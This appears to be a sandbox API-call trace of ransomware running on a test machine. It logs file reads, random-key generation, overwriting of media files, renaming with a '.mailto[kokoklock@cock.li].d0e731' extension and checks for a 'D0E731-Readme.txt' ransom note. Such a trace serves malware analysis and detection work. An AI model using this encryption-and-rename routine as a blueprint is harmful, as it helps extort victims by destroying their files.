RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x5494d70a [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x86486702 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x7fdb1e18 [0071.667] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xa6a37f9b [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xe50b565f [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xa76e0c5 [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xcdb78e6e [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xb9f1a03c [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x34355471 [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x57aca195 [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xc581b49a [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x5083861d [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0xd7e61780 [0071.668] RtlRandom (in: Seed=0x13cbfee8 | out: Seed=0x13cbfee8) returned 0x7ebff41f [0071.679] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.679] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13cbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13cbfeb4*=0x4096, lpOverlapped=0x0) returned 1 [0071.679] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.679] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13cbfeb4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13cbfeb4*=0x4096, lpOverlapped=0x0) returned 1 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.680] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x12cb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13cbfeec, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13cbfeec*=0x20, lpOverlapped=0x0) returned 1 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x3423090*, lpNumberOfBytesWritten=0x13cbff00*=0x8, lpOverlapped=0x0) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x13cbff18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x13cbff18*, lpNumberOfBytesWritten=0x13cbff00*=0x4, lpOverlapped=0x0) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13cbff00*=0x4, lpOverlapped=0x0) returned 1 [0071.680] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13cbff00*=0x6c, lpOverlapped=0x0) returned 1 [0071.681] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423270*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x3423270*, lpNumberOfBytesWritten=0x13cbff00*=0x20, lpOverlapped=0x0) returned 1 [0071.681] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13cbff00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13cbff00*=0x4, lpOverlapped=0x0) returned 1 [0071.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423090) returned 1 [0071.681] CloseHandle (hObject=0x3a4) returned 1 [0071.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6330 [0071.681] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" [0071.681] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" [0071.681] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.682] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.682] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4", dwFileAttributes=0x20) returned 0 [0071.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0071.682] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.682] wcscat (in: _Dest=0x34799e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.682] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0071.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427548) returned 1 [0071.682] RtlExitUserThread (Status=0x1) Thread: id = 479 os_tid = 0x2d0 [0071.683] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3")) returned 0x20 [0071.683] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3", dwFileAttributes=0x20) returned 1 [0071.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.684] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13d3f904 | out: lpFileSize=0x13d3f904*=9368) returned 1 [0071.684] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x2494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.684] ReadFile (in: hFile=0x3a4, lpBuffer=0x13d3f8d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x13d3f8d8*, lpNumberOfBytesRead=0x13d3f8d4*=0x4, lpOverlapped=0x0) returned 1 [0071.685] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423090 [0071.685] NtQuerySystemTime (in: CurrentTime=0x13d3f8b0 | out: CurrentTime=0x13d3f8b0*=132121176295722944) returned 0x0 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xfa06242d [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xc1f3337a [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xba396dde [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xb7a38e4b [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x8c531dc0 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x82021278 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xd3ab4e72 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xc78031e4 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x9900cbb6 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x789d4644 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x44939b61 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x2c5f83ed [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x403aa8c4 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xad521e87 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xbb8f4eb6 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x6b361707 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x35164019 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xa3d5233d [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xdf9175cd [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x91dad972 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xd623f937 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xc7caa099 [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x4094705e [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xc828f70a [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xdebaefda [0071.685] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x3e12b950 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x3ea574f1 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xb154e871 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x2ca568d0 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x2c29ada0 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0xefa82bf7 [0071.686] RtlRandom (in: Seed=0x13d3f8bc | out: Seed=0x13d3f8bc) returned 0x99e0a728 [0071.697] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2498, lpNumberOfBytesRead=0x13d3f8b0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13d3f8b0*=0x2498, lpOverlapped=0x0) returned 1 [0071.697] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x13d3f878 | out: lpNewFilePointer=0x0) returned 1 [0071.697] WriteFile (in: hFile=0x3a4, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x2498, lpNumberOfBytesWritten=0x13d3f8ac, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13d3f8ac*=0x2498, lpOverlapped=0x0) returned 1 [0071.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230e0 [0071.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230e0) returned 1 [0071.697] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423018*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13d3f8a8, lpOverlapped=0x0 | out: lpBuffer=0x3423018*, lpNumberOfBytesWritten=0x13d3f8a8*=0x20, lpOverlapped=0x0) returned 1 [0071.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x34230b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x13d3f8d4*=0x8, lpOverlapped=0x0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x13d3f8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x13d3f8ec*, lpNumberOfBytesWritten=0x13d3f8d4*=0x4, lpOverlapped=0x0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13d3f8d4*=0x4, lpOverlapped=0x0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13d3f8d4*=0x6c, lpOverlapped=0x0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x3423270*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x3423270*, lpNumberOfBytesWritten=0x13d3f8d4*=0x20, lpOverlapped=0x0) returned 1 [0071.698] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13d3f8d4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13d3f8d4*=0x4, lpOverlapped=0x0) returned 1 [0071.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423270) returned 1 [0071.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.698] CloseHandle (hObject=0x3a4) returned 1 [0071.698] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33c8f68 [0071.698] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" [0071.698] wcscat (in: _Dest=0x33c8f68, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" [0071.698] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c8f68) returned 1 [0071.699] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3", dwFileAttributes=0x20) returned 0 [0071.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479ad8 [0071.699] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.699] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.699] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0071.700] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347da10) returned 1 [0071.700] RtlExitUserThread (Status=0x1) Thread: id = 480 os_tid = 0x714 [0071.701] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf")) returned 0x20 [0071.701] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf", dwFileAttributes=0x20) returned 1 [0071.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\TcAlorii.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\tcalorii.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0071.701] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x13dbfec0 | out: lpFileSize=0x13dbfec0*=18415) returned 1 [0071.701] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x47eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.701] ReadFile (in: hFile=0x3a4, lpBuffer=0x13dbfe94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13dbfe90, lpOverlapped=0x0 | out: lpBuffer=0x13dbfe94*, lpNumberOfBytesRead=0x13dbfe90*=0x4, lpOverlapped=0x0) returned 1 [0071.702] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230e0 [0071.702] NtQuerySystemTime (in: CurrentTime=0x13dbfe6c | out: CurrentTime=0x13dbfe6c*=132121176295879282) returned 0x0 [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x6165ddd5 [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x4856fc5c [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xa6839a1a [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xf70d1c3c [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x6d82e792 [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xe278a9c5 [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x7828c6db [0071.702] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xe3a0b986 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xf7eb6ae8 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x4b0fc4bc [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x543a3aa7 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x9f5aacb6 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x21ad3af5 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x1201bc6a [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x223a1518 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xb01208f1 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x3893ee3 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xbcb87bb [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xdacec9ce [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x9c409e36 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xbb481350 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xe266a4e9 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x7dac8dbc [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x889c151 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xb35b5edd [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x4c3b7227 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x93841d1c [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0x33a1e16f [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xe802e741 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xff78546a [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xc37123d5 [0071.703] RtlRandom (in: Seed=0x13dbfe78 | out: Seed=0x13dbfe78) returned 0xb4b890fb [0071.714] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.714] ReadFile (in: hFile=0x3a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13dbfe44, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13dbfe44*=0x4096, lpOverlapped=0x0) returned 1 [0071.714] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.714] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.714] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.715] 